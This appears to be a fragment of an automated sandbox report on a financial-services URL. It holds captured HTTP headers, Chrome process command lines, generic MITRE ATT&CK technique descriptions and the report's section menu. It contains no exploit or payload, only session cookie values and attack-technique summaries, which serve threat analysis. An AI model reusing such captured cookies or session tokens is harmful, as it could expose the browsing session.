2024-04-11 20:36:08 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50189	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:08 UTC	729	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=g&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA
2024-04-11 20:36:09 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:36:09 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:36:09 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Target ID:	0
Start time:	22:34:47
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	22:34:50
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	22:34:52
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bfjfinancial.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:35:29
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6036 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:35:29
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.bfjfinancial.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 234

Chrome Cache Entry: 235

Chrome Cache Entry: 236

Chrome Cache Entry: 237

Chrome Cache Entry: 238

Chrome Cache Entry: 239

Chrome Cache Entry: 240

Chrome Cache Entry: 241

Chrome Cache Entry: 242

Chrome Cache Entry: 243

Chrome Cache Entry: 244

Chrome Cache Entry: 245

Chrome Cache Entry: 246

Chrome Cache Entry: 247

Chrome Cache Entry: 248

Chrome Cache Entry: 249

Chrome Cache Entry: 250

Chrome Cache Entry: 251

Chrome Cache Entry: 252

Chrome Cache Entry: 253

Chrome Cache Entry: 254

Chrome Cache Entry: 255

Chrome Cache Entry: 256

Chrome Cache Entry: 257

Chrome Cache Entry: 258

Chrome Cache Entry: 259

Chrome Cache Entry: 260

Chrome Cache Entry: 261

Chrome Cache Entry: 262

Windows Analysis Report
https://www.bfjfinancial.com